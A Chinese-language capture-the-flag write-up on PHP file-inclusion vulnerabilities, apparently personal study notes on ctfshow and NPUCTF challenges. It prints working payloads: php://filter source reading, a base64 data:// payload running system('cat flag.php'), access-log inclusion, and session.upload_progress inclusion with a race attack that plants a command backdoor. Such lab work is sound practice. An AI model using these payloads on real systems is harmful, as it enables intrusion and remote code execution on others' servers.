- 今天 复习一下文件包含漏洞
web 78
payload:
?file=php://filter/convert.base64-encode/resource=flag.php
web 79
payload:
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
web 80-81
- 这道题开始就有技巧了
- 源码 过滤了 php和data 伪协议用不了
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
- payload
?file=/var/log/nginx/access.log
- 文件包含日志文件
web 82
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
- 过滤了.之后上面题目用的方法就行不通了
- 这道题俺也不会 看了WP
- 这里给学习资料session.upload_progress进行文件包含
- POC传文件 抓包 修改参数
<!DOCTYPE html>
<html>
<body>
<form action="http://52302e8b-c2f0-4f12-b96c-99d7b1750211.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="上传" />
</form>
</body>
</html>
- 增加PHSESSID=xbx0d,生成临时文件sess_xbx0d
- 在PHP_SESSION_UPLOAD_PROGRESS中写入自己要利用的代码
- 访问
/tmp/sess_xbx0d
文件
- 最后bp用intrude栏.进行竞争攻击
夹带私活 [NPUCTF2020]ezinclude
- 进入页面给了提示
<!--md5($secret.$name)===$pass -->
- 抓包后又hash值 直接url上传
- 然后又给了提示
include($_GET["file"]
- 尝试读取源码
\flflflflag.php?file=php://filter/convert.base64-encode/resource%3dflflflflag.php
<html>
<head>
<script language="javascript" type="text/javascript">
window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>
- 过滤了这些东西 直接伪协议是行不通的 想到两个方法 一个就是日志文件(不知道路径) 一个就是
session.upload_progress进行文件包含 - 这题我的解法是session.upload_progress进行文件包含 然后利用竞争攻击
- POC
- 访问暂存的文件
- 竞争攻击
- 写入了一个后门
- POST传参:cmd=phpinfo();
- flag在phpinfo()里面,我翻遍了目录文件 最后看wp才知道在phpinfo()